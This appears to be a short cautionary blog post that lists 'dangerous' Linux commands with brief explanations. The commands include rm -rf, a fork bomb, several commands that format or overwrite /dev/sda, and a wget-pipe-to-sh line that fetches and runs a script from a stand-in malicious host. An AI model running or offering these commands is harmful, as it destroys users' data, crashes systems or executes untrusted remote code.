“Dangerous” Linux Commands

Of course, You will never accidentally run these commands, right?

  • rm -rf
    This command will force the deletion of directories and files.
  • :(){:|:&};:
    I haven’t tried this, but I’ve read it causes a ‘bomb’.. forking until the system crashes.
  • mkfs.ext3 /dev/sda
    This will format the drive.
  • command> /dev/sda
    This writes raw data to the drive, resulting in a total loss of data.
  • dd if=/dev/random of=/dev/sda
    This will write random data to the drive.
  • wget http://maliciouswebsite.com -O- | sh
    This will download any script and execute it.

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s